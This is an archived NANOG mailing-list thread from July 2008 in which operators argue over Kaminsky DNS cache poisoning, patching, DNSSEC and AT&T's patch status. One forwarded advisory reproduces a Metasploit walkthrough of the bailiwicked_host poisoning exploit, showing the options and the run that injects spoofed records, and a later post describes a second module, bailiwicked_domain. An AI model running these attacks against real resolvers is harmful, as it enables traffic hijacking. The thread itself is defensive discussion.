While not ideal, at least most resolvers will not go asking those
servers for anything other than what they are authoritative for unless
an attacker for some reason wanted to setup a long chain of poisons. The
large, shared caching servers and all those open CPE devices are a
much larger concern I think.


Indeed--you won't hear arguments from me on other threats, especially not 
CPE devices which I fought to bring recognition to.


But sticking to the point, TLD servers should (under most circumstances) 
be recursive. Thing is, those that are, are likely to stay that way.


I personally know several folks from within and wayyy from outside the DNS 
world who discovered this very out there and obvious issue and worked hard 
to try and contact the operators. Those that haven't fixed it yet, likely 
won't if all thing remain even.


Others I am not aware of likely did the same, withs imilar results. I 
guess we could try again.


Gadi.

Re: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning - RELEASED

[Gadi Evron]

On Thu, 24 Jul 2008, Gadi Evron wrote:

But sticking to the point, TLD servers should (under most circumstances) be


Should NEVER, oops.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[William Pitcock]

On Thu, 2008-07-24 at 11:21 -0400, Sean Donelan wrote:
> On Thu, 24 Jul 2008, Paul Vixie wrote:
> > 11 seconds.
> >
> > and at&t refuses to patch.
> >
> > and all iphones use those name servers.
> 
> Has at&t told you they are refusing to patch?  Or are you just spreading
> FUD about at&t and don't actually have any information about their plans?
> 

I believe it is a hypothetical situation being presented...

William

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Joe Greco]

> 
> On 24 Jul 2008, at 10:56, Joe Greco wrote:
> 
> > MY move?  Fine.  You asked for it.  Had I your clout, I would have  
> > used
> > this opportunity to convince all these new agencies that the  
> > security of
> > the Internet was at risk, and that getting past the "who holds the  
> > keys"
> > for the root zone should be dealt with at a later date.  Get the root
> > signed and secured.
> 
> Even if that was done today, there would still be a risk of cache  
> poisoning for months and years to come.
> 
> You're confusing the short-term and the long-term measures, here.

No, I'm not.  I did say that the other fix could be implemented regardless.
However, since it is at best only a band-aid, it should be treated and
understood as such, rather than misinforming people into thinking that
their nameservers are "not vulnerable" once they've applied it.

So I'm not the confused party.  There are certainly a lot of confused
parties out there who believe they have servers that are not vulnerable.

> > Get the GTLD's signed and secured.
> 
> I encourage you to read some of the paper trail involved with getting  
> ORG signed, something that the current roadmap still doesn't  
> accommodate for the general population of child zones until 2010. It  
> might be illuminating.

You know, I've been watching this DNSSEC thing for *years*.  I don't need
to read any more paper trail.  There was no truly good excuse for this not
to have been done years ago.

> Even once everything is signed and working well to the zones that  
> registries are publishing, we need to wait for registrars to offer  
> DNSSEC key management to their customers.
> 
> Even once registrars are equipped, we need people who actually host  
> customer zones to sign them, and to acquire operational competence  
> required to do so well.
> 
> And even after all this is done, we need a noticeable proportion of  
> the world's caching resolvers to turn on validation, and to keep  
> validation turned on even though the helpdesk phone is ringing off the  
> hook because the people who host the zones your customers are trying  
> to use haven't quite got the hang of DNSSEC yet, and their signatures  
> have all expired.
> 
> Compared with the problem of global DNSSEC deployment, getting  
> everybody in the world to patch their resolvers looks easy.

Of course.  That's why I said that deploying this patch was something that
could be done *too*.

The point, however, was contained in my earlier message.

You can only cry "wolf" so many times before a lot of people stop 
listening.  Various evidence over the years leads me to believe that
this is any number greater than one time.

The point is that I believe the thing to do would have been to use this 
as a giant push for "DNSSEC Now!  No More Excuses!"

As it stands, there will likely be another exploit discovered in a year, 
or five years, or whatever, which is intimately related to this attack, 
and which DNSSEC would have solved.

I don't particularly care to hear excuses about why DNSSEC is {a failure,
impractical, can't be deployed, hasn't been deployed, won't be deployed,
isn't a solution, isn't useful, etc} because I've probably heard them all
before.  We should either embrace DNSSEC, or we should simply admit that
this is one of the many problems we just don't really care to fix for real.

... JG
-- 
Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
"We call it the 'one bite at the apple' rule. Give me one chance [and] then I
won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN)
With 24 million small businesses in the US alone, that's way too many apples.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[William Herrin]

On Thu, Jul 24, 2008 at 9:35 AM, Joe Greco <[EMAIL PROTECTED]> wrote:
> Well, Paul, I'm not *too* impressed, and so far, I'm not seeing what is
> groundbreaking, except that threats discussed long ago have become more
> practical due to the growth of network and processing speeds, which was
> a hazard that ...  was actually ALSO predicted.

Joe,

Early attacks were based on returning out-of-scope data in the
Additional section of the response. This was an implementation error
in the servers: they should never have accepted out of scope data.

Later attacks were based on forging responses to a query. The resolver
sends a query packet and the attacker has a few tens of milliseconds
in which to throw maybe a few tens of guesses about correct ID at the
resolver before the real answer arrives from the the real server.
These were mitigated because:

a. You had maybe a 1 in 1000 chance of guessing right during the
window of opportunity.
b. If you guessed wrong, you had to wait until the TTL expired to try
again, maybe as much as 24 hours later.

So, it could take months or years to poison a resolver just once, far
below the patience threshold for your run-of-the-mill script kiddie.


What's new about this attack is that it removes mitigator B. You can
guess again and again, back to back, until you hit that 1 in 1000.

Paul tells us this can happen in about 11 seconds, well inside the
tolerance of your normal script kiddie and long before you'll notice
the log messages about invalid responses.


Anyway, it shouldn't be hard to convert this from a poisoning
vulnerability to a less troubling DOS vulnerability by rejecting
responses for a particular query (even if valid) when received near a
bad-id response. From there it just takes some iterative improvements
to mitigate the DOS.

In the mean time, randomizing the query port makes the attack more
than four orders of magnitude less effective and causes it to require
more than four orders of magnitude of additional resources on the
attacker's part.

Regards,
Bill Herrin


-- 
William D. Herrin  [EMAIL PROTECTED] [EMAIL PROTECTED]
3005 Crane Dr. .. Web: 
Falls Church, VA 22042-3004

RE: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning- RELEASED

[Martin Hannigan]

> 
> I personally know several folks from within and wayyy from outside the
> DNS
> world who discovered this very out there and obvious issue and worked
> hard
> to try and contact the operators. Those that haven't fixed it yet,
> likely
> won't if all thing remain even.
> 


I don't know that a failure to act immediately is indicative of ignoring
the problem. Not to defend AT&T or any other provider, but it's not as
simple as rolling out a patch. 


-M<

RE: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning- RELEASED

[Gadi Evron]

On Thu, 24 Jul 2008, Martin Hannigan wrote:





I personally know several folks from within and wayyy from outside the
DNS
world who discovered this very out there and obvious issue and worked
hard
to try and contact the operators. Those that haven't fixed it yet,
likely
won't if all thing remain even.




I don't know that a failure to act immediately is indicative of ignoring
the problem. Not to defend AT&T or any other provider, but it's not as
simple as rolling out a patch.


Marty, are we talking of the same problem? I am talking about recursion 
enabled in bind?





-M<

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Paul Vixie]

> > > 11 seconds.
> > >
> > > and at&t refuses to patch.
> > >
> > > and all iphones use those name servers.
> > 
> > Has at&t told you they are refusing to patch?  Or are you just spreading
> > FUD about at&t and don't actually have any information about their plans?
> 
> I believe it is a hypothetical situation being presented...

so, noone else has had multiple copies of the following fwd'd to them with
the heading, "WTF,O?"  note that it's full of factual errors but does seem
to represent AT&T's position on CERT VU# 800113.  that someone inside AT&T
just assumed that this was the same problem as described in CERT VU#252735
and didn't bother to call CERT, or kaminsky, or me, to verify, ASTOUNDS me.

(if someone from AT&T's DNS division has time to chat, my phone numbers are
in `whois -h whois.arin.net pv15-arin`.)

---

"AT&T Response: US-CERT DNS Security Alert- announced July 8, 2008

On July 8, 2008, US-CERT issued a Technical Cyber Security Alert
TA08-190B with the title 'Multiple DNS implementations vulnerable to
cache poisoning.'  This alert describes how deficiencies in the DNS
protocol and common DNS implementations facilitate DNS Cache poisoning
attacks. This vulnerability only affects caching DNS servers, not
authoritative DNS servers. This alert instructed administrators to
contact their vendors for patches.

The DNS community has been aware of this vulnerability for some time.
CERT technical bulletin http://www.kb.cert.org/vuls/id/252735 issued in
July, 2007, identified this vulnerability but at the time no patches
were available from vendors.

AT&T does not disclose the name of its DNS vendors as a security measure
but has implemented a preliminary patch that was available in January,
2008. The latest patch for alert TA08-190B is currently being tested and
will be deployed in the network as soon as its quality has been assured.

AT&T employs best practices in the management of its DNS infrastructure.
For example, the majority of AT&T's caching DNS infrastructures have
load balancers.  Load balancers decrease the risk significantly because
hackers are unable to target specific DNS servers.  As with all patches
to software affecting AT&T's production networks and infrastructure,
AT&T first tests the patches in the lab to ensure they work as expected
and then certifies them before deploying them into our production
infrastructure.

Conclusion:

Security is of paramount importance to AT&T. AT&T has a comprehensive
approach to the security of its networks and supporting infrastructures.
AT&T is meeting or exceeding our world-class DNS network performance
measures.  We will continue to monitor the situation and will deploy
software upgrades, as warranted, following our structured testing and
certification process."

===

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Joe Abley]

On 24 Jul 2008, at 11:40, Joe Greco wrote:


Compared with the problem of global DNSSEC deployment, getting
everybody in the world to patch their resolvers looks easy.


Of course.  That's why I said that deploying this patch was  
something that

could be done *too*.


OK, good. Sorry if I misinterpreted your earlier message.


Joe

Re: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning- RELEASED

[Steven M. Bellovin]

On Thu, 24 Jul 2008 15:50:15 -
"Martin Hannigan" <[EMAIL PROTECTED]> wrote:

> 
> I don't know that a failure to act immediately is indicative of
> ignoring the problem. Not to defend AT&T or any other provider, but
> it's not as simple as rolling out a patch. 
> 
Right.  What scares me is all of the semi-managed hotspots with
software that's rarely updated.

--Steve Bellovin, http://www.cs.columbia.edu/~smb

Re: Exploit for DNS Cache Poisoning - RELEASED

[Jorge Amodio]

>
> ... economics of the attack have now
> changed.  (And we need to get DNSSEC deployed before they change even
> further.)
>
Amen.

[Fwd: CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit]

[Stephen Williams]

just posted on bugtraq and uk newsgroups

 Original Message 
Subject: CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit
Date: Wed, 23 Jul 2008 18:34:26 -0500
From: I)ruid <[EMAIL PROTECTED]>
Organization: Computer Academic Underground
To: [EMAIL PROTECTED]
CC: bugtraq <[EMAIL PROTECTED]>

     ____
 /\/\   |  |  |  |
/  /\__\##/  /\  \##|  |##|  |
   |  |  |  |__|  | |  |  |  |
   |  |  ___ |   __   | |  |  |  |
  --==##\  \/  /#|  |##|  |#|  |##|  |##==--
 \/  |__|  |__|  \__/

Computer Academic Underground
http://www.caughq.org
Exploit Code

===/
Exploit ID: CAU-EX-2008-0002
Release Date:   2008.07.23
Title:  bailiwicked_host.rb
Description:Kaminsky DNS Cache Poisoning Flaw Exploit
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Exploit URL:http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
Author/Email:   I)ruid 
H D Moore 
===/

Description
===

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver.  This exploit caches a single malicious host entry
into the target nameserver.  By causing the target nameserver to query
for random hostnames at the target domain, the attacker can spoof a
response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.


Example
===

# /msf3/msfconsole

_  _   _ _
   | || | (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|


   =[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
   =[ 72 aux

msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options

Module options:

   Name  Current SettingRequired  Description
     ---  ---
   HOSTNAME  pwned.example.com  yes   Hostname to hijack
   NEWADDR   1.3.3.7yes   New address for hostname
   RECONS208.67.222.222 yes   Nameserver used for 
reconnaissance

   RHOSTyes   The target address
   SRCPORT  yes   The target server's source 
query port (0 for automatic)
   XIDS  10 yes   Number of XIDs to try for 
each query


msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D

msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to 
poisoning


msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0

msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got answer with 2 answers, 0 authorities
[*]  Got an NS record: example.com.172643  IN  NS 
ns89.worldnic.com.

[*] Querying recon nameserver for address of ns89.worldnic.com
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns89.worldnic.com.  172794  IN  A 
205.178.190.45

[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com
[*]   ns89.worldnic.com. is authoritative for example.com., adding to 
list of nameservers to spoof as
[*]  Got an NS record: example.com.172643  IN  NS 
ns90.worldnic.com.

[*] Querying recon nameserver for address of ns90.worldnic.com
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns90.worldnic.com.  172794  IN  A 
205.178.144.45

[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com
[*]   ns90.worldnic.com. is authoritative for example.com., adding to 
list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into 
A.B.C.D:48178...

[*] Sent 1000 queries and 2 spoofed responses...
[*] Sent 2000 queries and 4 spoofed responses...
[*] Sent 3000 querie

Re: Exploit for DNS Cache Poisoning - RELEASED

[Paul Vixie]

[EMAIL PROTECTED] ("Jorge Amodio") writes:

> As I mentioned in another message, perhaps its time to get serious about
> DNSSEC, where are we on this front ?

still waiting for US-DoC to give ICANN permission to sign the root zone.
-- 
Paul Vixie

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

Re: Exploit for DNS Cache Poisoning - RELEASED

[Paul Vixie]

[EMAIL PROTECTED] ("Jorge Amodio") writes:

> As I mentioned in another message, perhaps its time to get serious about
> DNSSEC, where are we on this front ?

Still waiting for US-DoC to give ICANN/IANA permission to sign the root zone.
-- 
Paul Vixie

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

Re: SANS: DNS Bug Now Public?

[Paul Vixie]

[EMAIL PROTECTED] (Phil Regnauld) writes:

>   Case in point, we've got customers running around in circles
>   screaming "we need to upgrade, please help us upgrade NOW",
>   but they have _3_ layers of routers and firewalls that are hardcoded to
>   only allow DNS queries from port 53.

please take this problem, and all related threads, to
<[EMAIL PROTECTED]>.  this is NANOG.  there
are plenty of people on that other mailing list willing
to help and interested in helping with DNS issues.

fwiw, we all know that udp port randomization isn't a
panacea and that it will break many previously-working
configurations.  we just don't know what else to do NOW
while we wait for godot or whomever to deliver us DNSSEC.
-- 
Paul Vixie

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

Re: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning -

[Paul Vixie]

[EMAIL PROTECTED] (Simon Waters) writes:

> The advice NOT to allow recursion on TLD servers is well over a decade old.

it's not just advice, really.  on the mailing list that's a little like this
one except that unlike this one it's meant for DNS operations issues, i said
.

subscription info at .
-- 
Paul Vixie

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Joe Greco]

> On 24 Jul 2008, at 11:40, Joe Greco wrote:
> >> Compared with the problem of global DNSSEC deployment, getting
> >> everybody in the world to patch their resolvers looks easy.
> >
> > Of course.  That's why I said that deploying this patch was  
> > something that
> > could be done *too*.
> 
> OK, good. 

Yeah, I'm not arguing against mitigating the immediate problem, but rather:

> Sorry if I misinterpreted your earlier message.

The problem is that we have this reactionary mindset to threats that have
been known for a long time, and we're perfectly happy to issue one-off
band-aid fixes, often while not fixing the underlying problem.

DNSSEC was designed to deal with just this sort of thing.  In almost TWO
DECADES since Bellovin's paper, which was arguably the motivation behind
DNSSEC, we've ...  still got an unsigned root, unsigned GTLD's, unsigned
zones, and we've successfully managed to get Gates to train users to click
on "OK" for any message where they don't understand what it's trying to
say, so relying on security at other layers isn't particularly effective
either.

Collectively, those of us reading this list are responsible for creating 
at least part of this mess, either through inaction or foot-dragging. 
Welcome to the Internet that we've created.

... JG
-- 
Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
"We call it the 'one bite at the apple' rule. Give me one chance [and] then I
won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN)
With 24 million small businesses in the US alone, that's way too many apples.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Jorge Amodio]

>
> ... and we've successfully managed to get Gates to train users to click
> on "OK" for any message where they don't understand what it's trying to
> say, so relying on security at other layers isn't particularly effective
> either.


He,he,nice comment. The issue is that with todays html crap and embedded
images on mails "click" is no longer required, just include a malicious tag
forcing your resolver to go to bad boy's NS to resolve the URL and you are
up in biz.

/etc/hosts rulez !!! :-)

Regards
Jorge

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Laurence F. Sheldon, Jr.]

Jorge Amodio wrote:


/etc/hosts rulez !!! :-)


Wonder if SRI wstill has the files.
--
Requiescas in pace o email  Two identifying characteristics
 of System Administrators:
Ex turpi causa non oritur actioInfallibility, and the ability to
 learn from their mistakes.
Eppure si rinfresca

ICBM Targeting Information: http://tinyurl.com/4sqczs

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Jorge Amodio]

>
> /etc/hosts rulez !!! :-)
>>
>
> Wonder if SRI wstill has the files.


The SRI-NIC is long gone, I still remember the IP address
of the ftp server 10.0.0.51 :-)

There are several "historic copies" all over the net.

Jorge

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Sean Donelan]

On Thu, 24 Jul 2008, Paul Vixie wrote:

"AT&T Response: US-CERT DNS Security Alert- announced July 8, 2008
2008. The latest patch for alert TA08-190B is currently being tested and
will be deployed in the network as soon as its quality has been assured.


That doesn't sound like "refuses to patch."

It sounds like at&t is testing the patch and will deploy it as soon as 
its testing is finished.


"Refuses to patch" sounds likes FUD.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Tuc at T-B-O-H.NET]

> 
> Jorge Amodio wrote:
> 
> > /etc/hosts rulez !!! :-)
> 
> Wonder if SRI wstill has the files.
>
Using the methods in RFC-952 and RFC-953 I wasn't able
to get them. I can't find if there is an updated RFC/name to use.

Tuc/TBOH ;)

RE: TLD servers with recursion was Re: Exploit for DNS CachePoisoning- RELEASED

[Martin Hannigan]

> -Original Message-
> From: Gadi Evron [mailto:[EMAIL PROTECTED]
> Sent: Thursday, July 24, 2008 11:52 AM
> To: Martin Hannigan
> Cc: nanog@nanog.org
> Subject: RE: TLD servers with recursion was Re: Exploit for DNS
> CachePoisoning- RELEASED
> 
> On Thu, 24 Jul 2008, Martin Hannigan wrote:
> >
> >
> >>
> >> I personally know several folks from within and wayyy from outside
> the
> >> DNS
> >> world who discovered this very out there and obvious issue and
> worked
> >> hard
> >> to try and contact the operators. Those that haven't fixed it yet,
> >> likely
> >> won't if all thing remain even.
> >>
> >
> >
> > I don't know that a failure to act immediately is indicative of
> ignoring
> > the problem. Not to defend AT&T or any other provider, but it's not
> as
> > simple as rolling out a patch.
> 
> Marty, are we talking of the same problem? I am talking about
recursion
> enabled in bind?
> 


I'm reading this as a complaint that people aren't fixing an obvious
problem that has a high impact on the network. You're making sense in
that respect, but my impression that the angst is in the speed of the
fix, not in the need. 

If that observation is off, sorry.

-M<

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Paul Vixie]

> "Refuses to patch" sounds likes FUD.

go ask 'em, and let us all know what they say.

kaminsky tried to get everybody a month, but because of ptacek's sloppiness
it ended up being 13 days.  if any dns engineer at any internet carrier goes
home to sleep or see their families before they patch, then they're insane.

yes, i know the dangers of rolling patches out too quickly.  better than most
folks, since i've been on the sending side of patches that caused problems,
and i've learned caution from the pain i've inadvertantly caused in that way.

in spite of that caution i am telling you all, patch, and patch now.  if you
have firewall or NAT configs that prevent it, then redo your topology -- NOW.
and make sure your NAT isn't derandomizing your port numbers on the way out.

and if you have time after that, write a letter to your congressman about the
importance of DNSSEC, which sucks green weenies, and is a decade late, and
which has no business model, but which the internet absolutely dearly needs.

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Tuc at T-B-O-H]

> 
> Jorge Amodio wrote:
> 
> > /etc/hosts rulez !!! :-)
> 
> Wonder if SRI wstill has the files.
>
UNOFFICIAL copy from 15-Apr-94 :

http://ftp.univie.ac.at/netinfo/netinfo/hosts.txt

Tuc/TBOH

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[David W. Hankins]

On Thu, Jul 24, 2008 at 09:56:32AM -0500, Joe Greco wrote:
> MY move?  Fine.  You asked for it.  Had I your clout, I would have used
> this opportunity to convince all these new agencies that the security of
> the Internet was at risk, and that getting past the "who holds the keys"
> for the root zone should be dealt with at a later date.  Get the root
> signed and secured.  Get the GTLD's signed and secured.  Give people the
> tools and techniques to sign and secure their zones.  Focus on banks,

I admit readily that I am not one of the 'dns guys' around here, but
I have been watching with some interest for a few years now, and have
more or less become convinced that the players involved are willing to
tolerate, downplay, or even flat out ignore a great deal.

Except losing their own relevance.  This is cherished above all.  The
only times I have seen these parties move is when it has been
realistically threatened.

So in brandishing this world event as like a holy sword of fire to
smite some nefarious beaurocracy, there is no danger its strike will
drain any relevance.  The band aid fix is there.  Their relevance is
saved along with all of our businesses.  There is still plenty of time
to argue about who gets the keys.  Who gets nearly the entire pot of
this magical relevance ambrosia?

It wouldn't work.  Paul's booming voice would serve only to make him
hoarse.

The strike only lands for effect if you withold the band aid fix,
which simply can not be done in this case either.


I'm only really aware of two ways to reduce the relevance of the root
and its children (I did say I am not a DNS guy).  You can join one of
the alternate roots, which I do not recommend.  Or you can sign your
zones using a DLV registry.

If DLV registries became 'de rigeur', it would effectively halve the
root and by extension the GTLDs' relevance.  I do not believe they
will permit this to come to pass.  Provided they did, we would win
anyway, as signing zones itself would have become the norm.

-- 
David W. Hankins"If you don't do it right the first time,
Software Engineer   you'll just have to do it again."
Internet Systems Consortium, Inc.   -- Jack T. Hankins


pgpRv61cfWWHq.pgp
Description: PGP signature

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Duane Wessels]

On Thu, 24 Jul 2008, Steve Tornio said:

doxpara.com tests to lock up my iPhone, or I would use that checker to verify 
the iPhone DNS.  Anyone have a link to a decent test that I could run on the 
iPhone?


Give this one a try:

http://entropy.dns-oarc.net/test/

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Jorge Amodio]

>
>
> He,he,nice comment. The issue is that with todays html crap and embedded
> images on mails "click" is no longer required, just include a malicious tag
> forcing your resolver to go to bad boy's NS to resolve the URL and you are
> up in biz.
>
>
Can't stop laughing ... its a rainy boring day in south TX, just thinking
that MSFT is probably working on a security patch for Vista that will ask
you every few seconds "Are you sure you want to resolve this domain name?"


Just a bit of humor before my resolver is poisoned ...

Cheers
Jorge

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Steve Tornio]

On Jul 24, 2008, at 12:17 PM, Duane Wessels wrote:

xpara.com tests to lock up my iPhone, or I would use that checker  
to verify the iPhone DNS.  Anyone have a link to a decent test that  
I could run on the iPhone?


Give this one a try:

http://entropy.dns-oarc.net/test/



In this test, my iPhone reports:

209.183.33.23 Source Port Randomness: GREAT
209.183.33.23 Transaction ID Randomness: GREAT

I encourage anyone else concerned with their providers to actually  
test them instead of taking anyone's word for it.


Steve

Re: SBCglobal routing loop.

[Jay R. Ashworth]

On Sat, Jul 19, 2008 at 08:26:33PM +0100, [EMAIL PROTECTED] wrote:
> Sounds like he's used to used IRC, not mailing lists. There used to
> be an IRC channel where a lot of NANOG folks hung out. Anyone care to
> publicize the channel name and which IRC network carries it?

I was invited to it once, but do not have it handy now; it is
by-invite-only, and it is *not* #nanog on any network.

Cheers,
-- jra
-- 
Jay R. Ashworth   Baylink  [EMAIL PROTECTED]
Designer The Things I Think   RFC 2100
Ashworth & Associates http://baylink.pitas.com '87 e24
St Petersburg FL USA  http://photo.imageinc.us +1 727 647 1274

 Those who cast the vote decide nothing.
 Those who count the vote decide everything.
   -- (Josef Stalin)

2nd Exploit for DNS Cache Poisoning - RELEASED

[Tuc at T-B-O-H.NET]

Hi,

Not sure if anyone has seen yet, but there is a 2nd
exploit being circulated. I just picked it up on metasploits
SVN trunk

The first was called "baliwicked_host", and the
description was :

This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
malicious host entry into the target nameserver by sending random hostname
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for that domain. Eventually, a 
guessed ID will match, the spoofed packet will get accepted, and due to the 
additional hostname entry being within bailiwick constraints of the original
request the malicious host entry will get cached.

The new one is called "baliwicked_domain" and its described
as :

This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
Dan Kaminsky found and disclosed ~Jul 2008.  This exploit replaces the target
domains nameserver entries in a vulnerable DNS cache server. This attack works
by sending random hostname queries to the target DNS server coupled with spoofed
replies to those queries from the authoritative nameservers for that domain.
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
the nameserver entries for the target domain will be replaced by the server
specified in the NEWDNS option of this exploit.



Tuc/TBOH

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Sean Donelan]

On Thu, 24 Jul 2008, Paul Vixie wrote:

"Refuses to patch" sounds likes FUD.


go ask 'em, and let us all know what they say.


I believe at&t has already said they are testing the patch and will deploy 
it as soon as their testing is completed.  Other than you, I have not 
heard anyone in at&t say they are refusing to patch.


Doing my own tests, at&t appears to be testing the patch on DNS
servers in Tulsa and St. Louis.  They may be testing on other DNS
servers in other regions too.

The at&t anycast DNS ip addresses go to different servers in different
locations, so you may get different results using the same IP address
in your DNS client.

But if you want to continue spreading the FUD that at&t is refusing to
patch, I can't stop you.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Paul Vixie]

> > go ask 'em, and let us all know what they say.
> 
> I believe at&t has already said they are testing the patch and will deploy 
> it as soon as their testing is completed.  Other than you, I have not 
> heard anyone in at&t say they are refusing to patch.

i read at&t write that this was a rehash of a previously known issue.

i heard at&t tell a customer that they were in no hurry to patch.

> Doing my own tests, at&t appears to be testing the patch on DNS
> servers in Tulsa and St. Louis.  They may be testing on other DNS
> servers in other regions too.

that's good news.

> The at&t anycast DNS ip addresses go to different servers in different
> locations, so you may get different results using the same IP address
> in your DNS client.
> 
> But if you want to continue spreading the FUD that at&t is refusing to
> patch, I can't stop you.

hopefully at&t will issue a clarifying statement, indicating that they know
now that this is not a rehash of last year's update, and that they will have
those iphones covered by july 25 even though they were noticed before july 8.

by the way we just found an abuse@ mailbox protected by challenge-response
(there's a notification effort underway to let folks know which of their open
resolvers are unpatched.  i don't know what this means anymore.)

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Ken A]

Paul Vixie wrote:

"Refuses to patch" sounds likes FUD.


go ask 'em, and let us all know what they say.


AT&T dsl line.

#dig +short porttest.dns-oarc.net TXT @68.94.157.1
z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net.
"65.68.49.31 is POOR: 26 queries in 1.4 seconds from 1 ports with std 
dev 0.00"


Ken

--
Ken Anderson
Pacific.Net

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Ken A]

Steve Tornio wrote:


On Jul 24, 2008, at 12:17 PM, Duane Wessels wrote:

xpara.com tests to lock up my iPhone, or I would use that checker to 
verify the iPhone DNS.  Anyone have a link to a decent test that I 
could run on the iPhone?


Give this one a try:

http://entropy.dns-oarc.net/test/



In this test, my iPhone reports:

209.183.33.23 Source Port Randomness: GREAT
209.183.33.23 Transaction ID Randomness: GREAT

I encourage anyone else concerned with their providers to actually test 
them instead of taking anyone's word for it.


Steve



on AT&T you might want to run it more than once.. Mine shows POOR 1 out 
of 5 times. :-(

Hope they finish patching son!
Ken

--
Ken Anderson
Pacific.Net

RE: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?

[Scott Berkman]

Is it just me or is the test page below down now?

Or maybe some poisoned the NS record for dns-oarc.net and sent it to
nowhere to stop testing! (J/K since I can get to the rest of the page
fine).

-Scott

-Original Message-
From: Ken A [mailto:[EMAIL PROTECTED] 
Sent: Thursday, July 24, 2008 2:40 PM
To: Steve Tornio
Cc: [EMAIL PROTECTED]
Subject: Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally
leaked?

Steve Tornio wrote:
> 
> On Jul 24, 2008, at 12:17 PM, Duane Wessels wrote:
> 
>>> xpara.com tests to lock up my iPhone, or I would use that checker to 
>>> verify the iPhone DNS.  Anyone have a link to a decent test that I 
>>> could run on the iPhone?
>>
>> Give this one a try:
>>
>> http://entropy.dns-oarc.net/test/
>>
> 
> In this test, my iPhone reports:
> 
> 209.183.33.23 Source Port Randomness: GREAT
> 209.183.33.23 Transaction ID Randomness: GREAT
> 
> I encourage anyone else concerned with their providers to actually test 
> them instead of taking anyone's word for it.
> 
> Steve
> 

on AT&T you might want to run it more than once.. Mine shows POOR 1 out 
of 5 times. :-(
